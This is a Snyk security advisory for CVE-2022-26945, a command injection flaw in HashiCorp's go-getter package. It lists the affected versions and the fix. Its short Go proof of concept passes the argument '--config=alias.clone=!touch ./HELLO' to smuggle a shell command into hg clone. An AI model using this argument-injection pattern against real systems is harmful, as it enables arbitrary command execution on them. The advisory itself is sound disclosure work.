Command Injection Affecting github.com/hashicorp/go-getter package, versions <1.6.1>=2.0.0 <2.1.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.23% (63rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-GOLANG-GITHUBCOMHASHICORPGOGETTER-2421223
  • published25 May 2022
  • disclosed11 Mar 2022
  • creditAlessio Della Libera of Snyk Research Team

Introduced: 11 Mar 2022

CVE-2022-26945  (opens in a new tab)
CWE-78  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade github.com/hashicorp/go-getter to version 1.6.1, 2.1.0 or higher.

Overview

github.com/hashicorp/go-getter is a Package for downloading things from a string URL using a variety of protocols.

Affected versions of this package are vulnerable to Command Injection via hg argument injection. When calling the new(gogetter.HgGetter).get() function, the dst parameter is passed to the hg clone command in a way that additional flags can be set. The additional flags can be used to perform a command injection.

PoC

package main

import (
    gogetter "github.com/hashicorp/go-getter"
    "net/url"
)

func main(){
    g := new(gogetter.HgGetter)
    
    rawURL := "someurl"

    u, _ := url.Parse(rawURL)

    dst := "--config=alias.clone=!touch ./HELLO"
    g.Get(dst, u)

}

CVSS Scores

version 3.1